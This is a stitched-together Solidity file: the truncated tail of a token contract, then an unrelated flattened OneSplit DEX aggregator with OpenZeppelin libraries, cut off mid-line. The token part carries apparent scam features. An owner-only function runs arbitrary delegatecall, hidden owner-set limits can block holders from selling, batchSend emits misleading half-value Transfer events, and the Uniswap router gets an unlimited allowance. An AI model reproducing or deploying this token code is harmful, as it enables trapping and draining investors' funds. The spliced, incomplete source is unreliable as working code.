0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/IOneSplit.sol pragma solidity ^0.5.0; // // [ msg.sender ] // | | // | | // \_/ // +---------------+ ________________________________ // | OneSplitAudit | _______________________________ \ // +---------------+ \ \ // | | ______________ | | (staticcall) // | | / ____________ \ | | // | | (call) / / \ \ | | // | | / / | | | | // \_/ | | \_/ \_/ // +--------------+ | | +----------------------+ // | OneSplitWrap | | | | OneSplitViewWrap | // +--------------+ | | +----------------------+ // | | | | | | // | | (delegatecall) | | (staticcall) | | (staticcall) // \_/ | | \_/ // +--------------+ | | +------------------+ // | OneSplit | | | | OneSplitView | // +--------------+ | | +------------------+ // | | / / // \ \________________/ / // \__________________/ // contract IOneSplitConsts { // flags = FLAG_DISABLE_UNISWAP + FLAG_DISABLE_KYBER + ... uint256 public constant FLAG_DISABLE_UNISWAP = 0x01; uint256 public constant FLAG_DISABLE_KYBER = 0x02; uint256 public constant FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x100000000; // Turned off by default uint256 public constant FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x200000000; // Turned off by default uint256 public constant FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x400000000; // Turned off by default uint256 public constant FLAG_DISABLE_BANCOR = 0x04; uint256 public constant FLAG_DISABLE_OASIS = 0x08; uint256 public constant FLAG_DISABLE_COMPOUND = 0x10; uint256 public constant FLAG_DISABLE_FULCRUM = 0x20; uint256 public constant FLAG_DISABLE_CHAI = 0x40; uint256 public constant FLAG_DISABLE_AAVE = 0x80; uint256 public constant FLAG_DISABLE_SMART_TOKEN = 0x100; uint256 public constant FLAG_ENABLE_MULTI_PATH_ETH = 0x200; // Turned off by default uint256 public constant FLAG_DISABLE_BDAI = 0x400; uint256 public constant FLAG_DISABLE_IEARN = 0x800; uint256 public constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000; uint256 public constant FLAG_DISABLE_CURVE_USDT = 0x2000; uint256 public constant FLAG_DISABLE_CURVE_Y = 0x4000; uint256 public constant FLAG_DISABLE_CURVE_BINANCE = 0x8000; uint256 public constant FLAG_ENABLE_MULTI_PATH_DAI = 0x10000; // Turned off by default uint256 public constant FLAG_ENABLE_MULTI_PATH_USDC = 0x20000; // Turned off by default uint256 public constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000; uint256 public constant FLAG_DISABLE_WETH = 0x80000; uint256 public constant FLAG_ENABLE_UNISWAP_COMPOUND = 0x100000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 public constant FLAG_ENABLE_UNISWAP_CHAI = 0x200000; // Works only when ETH<>DAI or FLAG_ENABLE_MULTI_PATH_ETH uint256 public constant FLAG_ENABLE_UNISWAP_AAVE = 0x400000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 public constant FLAG_DISABLE_IDLE = 0x800000; uint256 public constant FLAG_DISABLE_MOONISWAP = 0x1000000; uint256 public constant FLAG_DISABLE_UNISWAP_V2_ALL = 0x1E000000; uint256 public constant FLAG_DISABLE_UNISWAP_V2 = 0x2000000; uint256 public constant FLAG_DISABLE_UNISWAP_V2_ETH = 0x4000000; uint256 public constant FLAG_DISABLE_UNISWAP_V2_DAI = 0x8000000; uint256 public constant FLAG_DISABLE_UNISWAP_V2_USDC = 0x10000000; uint256 public constant FLAG_DISABLE_ALL_SPLIT_SOURCES = 0x20000000; uint256 public constant FLAG_DISABLE_ALL_WRAP_SOURCES = 0x40000000; uint256 public constant FLAG_DISABLE_CURVE_PAX = 0x80000000; uint256 internal constant FLAG_DISABLE_CURVE_RENBTC = 0x100000000; uint256 internal constant FLAG_DISABLE_CURVE_TBTC = 0x200000000; uint256 internal constant FLAG_ENABLE_MULTI_PATH_USDT = 0x400000000; // Turned off by default uint256 internal constant FLAG_ENABLE_MULTI_PATH_WBTC = 0x800000000; // Turned off by default uint256 internal constant FLAG_ENABLE_MULTI_PATH_TBTC = 0x1000000000; // Turned off by default uint256 internal constant FLAG_ENABLE_MULTI_PATH_RENBTC = 0x2000000000; // Turned off by default uint256 internal constant FLAG_DISABLE_DFORCE_SWAP = 0x4000000000; uint256 internal constant FLAG_DISABLE_SHELL = 0x8000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN = 0x10000000000; uint256 internal constant FLAG_DISABLE_MSTABLE_MUSD = 0x20000000000; uint256 public constant FLAG_DISABLE_UNISWAP_POOL_TOKEN = 0x40000000000; uint256 public constant FLAG_DISABLE_BALANCER_POOL_TOKEN = 0x80000000000; uint256 public constant FLAG_DISABLE_CURVE_ZAP = 0x100000000000; uint256 public constant FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN = 0x200000000000; } contract IOneSplit is IOneSplitConsts { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public view returns( uint256 returnAmount, uint256[] memory distribution ); function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public payable returns(uint256 returnAmount); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/interface/IUniswapExchange.sol pragma solidity ^0.5.0; interface IUniswapExchange { function getEthToTokenInputPrice(uint256 ethSold) external view returns (uint256 tokensBought); function getTokenToEthInputPrice(uint256 tokensSold) external view returns (uint256 ethBought); function ethToTokenSwapInput(uint256 minTokens, uint256 deadline) external payable returns (uint256 tokensBought); function tokenToEthSwapInput(uint256 tokensSold, uint256 minEth, uint256 deadline) external returns (uint256 ethBought); function tokenToTokenSwapInput( uint256 tokensSold, uint256 minTokensBought, uint256 minEthBought, uint256 deadline, address tokenAddr ) external returns (uint256 tokensBought); function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256); } // File: contracts/interface/IUniswapFactory.sol pragma solidity ^0.5.0; interface IUniswapFactory { function getExchange(IERC20 token) external view returns (IUniswapExchange exchange); function getToken(address exchange) external view returns (IERC20 token); } // File: contracts/interface/IKyberNetworkContract.sol pragma solidity ^0.5.0; interface IKyberNetworkContract { function searchBestRate(IERC20 src, IERC20 dest, uint256 srcAmount, bool usePermissionless) external view returns (address reserve, uint256 rate); } // File: contracts/interface/IKyberNetworkProxy.sol pragma solidity ^0.5.0; interface IKyberNetworkProxy { function getExpectedRate(IERC20 src, IERC20 dest, uint256 srcQty) external view returns (uint256 expectedRate, uint256 slippageRate); function tradeWithHint( IERC20 src, uint256 srcAmount, IERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId, bytes calldata hint ) external payable returns (uint256); function kyberNetworkContract() external view returns (IKyberNetworkContract); // TODO: Limit usage by tx.gasPrice // function maxGasPrice() external view returns (uint256); // TODO: Limit usage by user cap // function getUserCapInWei(address user) external view returns (uint256); // function getUserCapInTokenWei(address user, IERC20 token) external view returns (uint256); } // File: contracts/interface/IKyberUniswapReserve.sol pragma solidity ^0.5.0; interface IKyberUniswapReserve { function uniswapFactory() external view returns (address); } // File: contracts/interface/IKyberOasisReserve.sol pragma solidity ^0.5.0; interface IKyberOasisReserve { function otc() external view returns (address); } // File: contracts/interface/IKyberBancorReserve.sol pragma solidity ^0.5.0; contract IKyberBancorReserve { function bancorEth() public view returns (address); } // File: contracts/interface/IBancorNetwork.sol pragma solidity ^0.5.0; interface IBancorNetwork { function getReturnByPath(address[] calldata path, uint256 amount) external view returns (uint256 returnAmount, uint256 conversionFee); function claimAndConvert(address[] calldata path, uint256 amount, uint256 minReturn) external returns (uint256); function convert(address[] calldata path, uint256 amount, uint256 minReturn) external payable returns (uint256); } // File: contracts/interface/IBancorContractRegistry.sol pragma solidity ^0.5.0; contract IBancorContractRegistry { function addressOf(bytes32 contractName) external view returns (address); } // File: contracts/interface/IBancorConverterRegistry.sol pragma solidity ^0.5.0; interface IBancorConverterRegistry { function getConvertibleTokenSmartTokenCount(IERC20 convertibleToken) external view returns(uint256); function getConvertibleTokenSmartTokens(IERC20 convertibleToken) external view returns(address[] memory); function getConvertibleTokenSmartToken(IERC20 convertibleToken, uint256 index) external view returns(address); function isConvertibleTokenSmartToken(IERC20 convertibleToken, address value) external view returns(bool); } // File: contracts/interface/IBancorEtherToken.sol pragma solidity ^0.5.0; contract IBancorEtherToken is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // File: contracts/interface/IOasisExchange.sol pragma solidity ^0.5.0; interface IOasisExchange { function getBuyAmount(IERC20 buyGem, IERC20 payGem, uint256 payAmt) external view returns (uint256 fillAmt); function sellAllAmount(IERC20 payGem, uint256 payAmt, IERC20 buyGem, uint256 minFillAmount) external returns (uint256 fillAmt); } // File: contracts/interface/IWETH.sol pragma solidity ^0.5.0; contract IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // File: contracts/interface/ICurve.sol pragma solidity ^0.5.0; interface ICurve { // solium-disable-next-line mixedcase function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns(uint256 dy); // solium-disable-next-line mixedcase function get_dy(int128 i, int128 j, uint256 dx) external view returns(uint256 dy); function get_virtual_price() external view returns(uint256); // solium-disable-next-line mixedcase function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy) external; // solium-disable-next-line mixedcase function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external; function coins(int128 arg0) external view returns (address); function balances(int128 arg0) external view returns (uint256); } // File: contracts/interface/IChai.sol pragma solidity ^0.5.0; interface IPot { function dsr() external view returns (uint256); function chi() external view returns (uint256); function rho() external view returns (uint256); function drip() external returns (uint256); function join(uint256) external; function exit(uint256) external; } contract IChai is IERC20 { function POT() public view returns (IPot); function join(address dst, uint256 wad) external; function exit(address src, uint256 wad) external; } library ChaiHelper { IPot private constant POT = IPot(0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7); uint256 private constant RAY = 10**27; function _mul(uint256 x, uint256 y) private pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function _rmul(uint256 x, uint256 y) private pure returns (uint256 z) { // always rounds down z = _mul(x, y) / RAY; } function _rdiv(uint256 x, uint256 y) private pure returns (uint256 z) { // always rounds down z = _mul(x, RAY) / y; } function rpow(uint256 x, uint256 n, uint256 base) private pure returns (uint256 z) { // solium-disable-next-line security/no-inline-assembly assembly { switch x case 0 { switch n case 0 { z := base } default { z := 0 } } default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n, 2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0, 0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0, 0) } x := div(xxRound, base) if mod(n, 2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0, 0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0, 0) } z := div(zxRound, base) } } } } } function potDrip() private view returns (uint256) { return _rmul(rpow(POT.dsr(), now - POT.rho(), RAY), POT.chi()); } function chaiPrice(IChai chai) internal view returns(uint256) { return chaiToDai(chai, 1e18); } function daiToChai( IChai /*chai*/, uint256 amount ) internal view returns (uint256) { uint256 chi = (now > POT.rho()) ? potDrip() : POT.chi(); return _rdiv(amount, chi); } function chaiToDai( IChai /*chai*/, uint256 amount ) internal view returns (uint256) { uint256 chi = (now > POT.rho()) ? potDrip() : POT.chi(); return _rmul(chi, amount); } } // File: contracts/interface/ICompound.sol pragma solidity ^0.5.0; contract ICompound { function markets(address cToken) external view returns (bool isListed, uint256 collateralFactorMantissa); } contract ICompoundToken is IERC20 { function underlying() external view returns (address); function exchangeRateStored() external view returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); } contract ICompoundEther is IERC20 { function mint() external payable; function redeem(uint256 redeemTokens) external returns (uint256); } // File: contracts/interface/IAaveToken.sol pragma solidity ^0.5.0; contract IAaveToken is IERC20 { function underlyingAssetAddress() external view returns (IERC20); function redeem(uint256 amount) external; } interface IAaveLendingPool { function core() external view returns (address); function deposit(IERC20 token, uint256 amount, uint16 refCode) external payable; } // File: contracts/interface/IMooniswap.sol pragma solidity ^0.5.0; interface IMooniswapRegistry { function target() external view returns(IMooniswap); } interface IMooniswap { function getReturn( IERC20 fromToken, IERC20 destToken, uint256 amount ) external view returns(uint256 returnAmount); function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn ) external payable returns(uint256 returnAmount); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/UniversalERC20.sol pragma solidity ^0.5.0; library UniversalERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private constant ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000); IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function universalTransfer(IERC20 token, address to, uint256 amount) internal returns(bool) { if (amount == 0) { return true; } if (isETH(token)) { address(uint160(to)).transfer(amount); } else { token.safeTransfer(to, amount); return true; } } function universalTransferFrom(IERC20 token, address from, address to, uint256 amount) internal { if (amount == 0) { return; } if (isETH(token)) { require(from == msg.sender && msg.value >= amount, "Wrong useage of ETH.universalTransferFrom()"); if (to != address(this)) { address(uint160(to)).transfer(amount); } if (msg.value > amount) { msg.sender.transfer(msg.value.sub(amount)); } } else { token.safeTransferFrom(from, to, amount); } } function universalTransferFromSenderToThis(IERC20 token, uint256 amount) internal { if (amount == 0) { return; } if (isETH(token)) { if (msg.value > amount) { // Return remainder if exist msg.sender.transfer(msg.value.sub(amount)); } } else { token.safeTransferFrom(msg.sender, address(this), amount); } } function universalApprove(IERC20 token, address to, uint256 amount) internal { if (!isETH(token)) { if (amount == 0) { token.safeApprove(to, 0); return; } uint256 allowance = token.allowance(address(this), to); if (allowance < amount) { if (allowance > 0) { token.safeApprove(to, 0); } token.safeApprove(to, amount); } } } function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) { if (isETH(token)) { return who.balance; } else { return token.balanceOf(who); } } function universalDecimals(IERC20 token) internal view returns (uint256) { if (isETH(token)) { return 18; } (bool success, bytes memory data) = address(token).staticcall.gas(10000)( abi.encodeWithSignature("decimals()") ); if (!success || data.length == 0) { (success, data) = address(token).staticcall.gas(10000)( abi.encodeWithSignature("DECIMALS()") ); } return (success && data.length > 0) ? abi.decode(data, (uint256)) : 18; } function isETH(IERC20 token) internal pure returns(bool) { return (address(token) == address(ZERO_ADDRESS) || address(token) == address(ETH_ADDRESS)); } function notExist(IERC20 token) internal pure returns(bool) { return (address(token) == address(-1)); } } // File: contracts/interface/IUniswapV2Exchange.sol pragma solidity ^0.5.0; interface IUniswapV2Exchange { function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; } library UniswapV2ExchangeLib { using SafeMath for uint256; using UniversalERC20 for IERC20; function getReturn( IUniswapV2Exchange exchange, IERC20 fromToken, IERC20 destToken, uint amountIn ) internal view returns (uint256) { uint256 reserveIn = fromToken.universalBalanceOf(address(exchange)); uint256 reserveOut = destToken.universalBalanceOf(address(exchange)); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); return (denominator == 0) ? 0 : numerator.div(denominator); } } // File: contracts/interface/IUniswapV2Factory.sol pragma solidity ^0.5.0; interface IUniswapV2Factory { function getPair(IERC20 tokenA, IERC20 tokenB) external view returns (IUniswapV2Exchange pair); } // File: contracts/interface/IDForceSwap.sol pragma solidity ^0.5.0; interface IDForceSwap { function getAmountByInput(IERC20 input, IERC20 output, uint256 amount) external view returns(uint256); function swap(IERC20 input, IERC20 output, uint256 amount) external; } // File: contracts/interface/IShell.sol pragma solidity ^0.5.0; interface IShell { function viewOriginTrade( address origin, address target, uint256 originAmount ) external view returns (uint256); function swapByOrigin( address origin, address target, uint256 originAmount, uint256 minTargetAmount, uint256 deadline ) external returns (uint256); } // File: contracts/interface/IMStable.sol pragma solidity ^0.5.0; contract IMStable is IERC20 { function getSwapOutput( IERC20 _input, IERC20 _output, uint256 _quantity ) external view returns (bool, string memory, uint256 output); function swap( IERC20 _input, IERC20 _output, uint256 _quantity, address _recipient ) external returns (uint256 output); function redeem( IERC20 _basset, uint256 _bassetQuantity ) external returns (uint256 massetRedeemed); } interface IMassetRedemptionValidator { function getRedeemValidity( IERC20 _mAsset, uint256 _mAssetQuantity, IERC20 _outputBasset ) external view returns (bool, string memory, uint256 output); } // File: contracts/OneSplitBase.sol pragma solidity ^0.5.0; //import "./interface/IBancorNetworkPathFinder.sol"; contract IOneSplitView is IOneSplitConsts { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256 returnAmount, uint256[] memory distribution ); function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); } library DisableFlags { function check(uint256 flags, uint256 flag) internal pure returns(bool) { return (flags & flag) != 0; } } contract OneSplitRoot { using SafeMath for uint256; using DisableFlags for uint256; using UniversalERC20 for IERC20; using UniversalERC20 for IWETH; using UniversalERC20 